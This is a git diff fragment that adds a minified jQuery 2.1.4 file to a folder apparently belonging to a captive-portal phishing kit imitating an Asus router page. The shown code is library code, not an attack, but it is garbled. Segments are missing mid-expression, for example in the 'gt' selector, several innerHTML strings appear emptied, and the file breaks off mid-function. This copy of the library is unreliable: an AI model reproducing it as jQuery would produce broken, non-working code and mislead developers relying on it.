      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Asus_it.portal/js/jquery-2.1.4.min.js b/attacks/Captive Portal/sites/Asus_it.portal/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/attacks/Captive Portal/sites/Asus_it.portal/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return 